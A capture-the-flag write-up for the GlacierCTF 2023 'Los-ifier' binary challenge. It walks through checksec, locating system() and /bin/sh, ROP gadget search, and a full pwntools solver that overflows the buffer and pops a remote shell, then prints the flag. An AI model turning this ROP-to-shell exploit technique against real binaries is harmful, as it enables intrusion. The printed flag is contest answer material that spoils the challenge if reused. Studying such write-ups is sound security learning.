Los-ifier [90 Solves]
Description
Normal binary for normal people.
authors: PaideiaDilemma & huksys
nc chall.glacierctf.com 13392Attachments: Losifier.tar.gz
$ tar ztf Losifier.tar.gz
Losifier/
Losifier/Dockerfile
Losifier/chall
Flag
gctf{l0ssp34k_UwU_L0v3U}
Solution
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=d0603ba281b2372084e4f2a9250bd5b79e916b91, for GNU/Linux 4.4.0, not stripped
$ checksec chall
[*] '/root/ctf/GlacierCTF_2023/intro/Losifier/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
ROP
Looking at how to work in chall binary, RIP is controllable by setting offset 85 (0x55).
system() function:
$ readelf -s chall | grep system
156: 0000000000000000 0 FILE LOCAL DEFAULT ABS system.o
157: 0000000000404660 879 FUNC LOCAL DEFAULT 7 do_system
591: 000000000047cdd8 10 OBJECT LOCAL DEFAULT 9 system_dirs
1066: 0000000000404ae0 45 FUNC WEAK DEFAULT 7 system
1668: 0000000000404ae0 45 FUNC GLOBAL DEFAULT 7 __libc_system
/bin/sh:
$ strings -a -t x chall | grep /bin/sh
7800e @@/bin/sh
784d9 /bin/sh
1st parameter 2nd parameter 3rd parameter 4th parameter 5th parameter 6th parameter rdi rsi rdx rcx r8 r9
Set /bin/sh to the rdi, call the system() function, and a shell pop up.
ROP Gadget:
$ ROPgadget --binary ./chall | grep -E '(: ret$|pop rdi ; ret$)'
0x0000000000402188 : pop rdi ; ret
0x000000000040101a : ret
solver.py
from pwn import *
context.terminal = ["tmux", "split-window", "-h"]
elf = ELF("./chall", checksec=False)
ret = 0x40101A
system = 0x404AE0
pop_rdi = 0x402188
binsh = 0x4784D9
def conn() -> pwnlib.tubes:
if args.REMOTE:
io = remote("chall.glacierctf.com", 13392)
elif args.GDB:
gdbscript = """
# b *main+73
# b printf_handler
# b *printf_handler+134
b *printf_handler+175
c
"""
io = gdb.debug([elf.path], gdbscript=gdbscript)
else:
io = elf.process()
return io
def main():
io = conn()
payload = b""
payload += b"A" * 85
# payload += p64(0xDEADBEEF)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()
result:
$ python3 solver.py REMOTE
[+] Opening connection to chall.glacierctf.com on port 13392: Done
[*] Switching to interactive mode
$ id
uid=1337 gid=1337 groups=1337
$ ls -la
total 764
drwxr-xr-x 1 root root 4096 Nov 23 22:49 .
drwxr-xr-x 1 root root 4096 Nov 25 17:52 ..
-rwxr-xr-x 1 root root 769056 Nov 23 22:19 app
-rw-r--r-- 1 root root 25 Nov 23 22:19 flag.txt
$ cat flag.txt
gctf{l0ssp34k_UwU_L0v3U}
$
[*] Closed connection to chall.glacierctf.com port 13392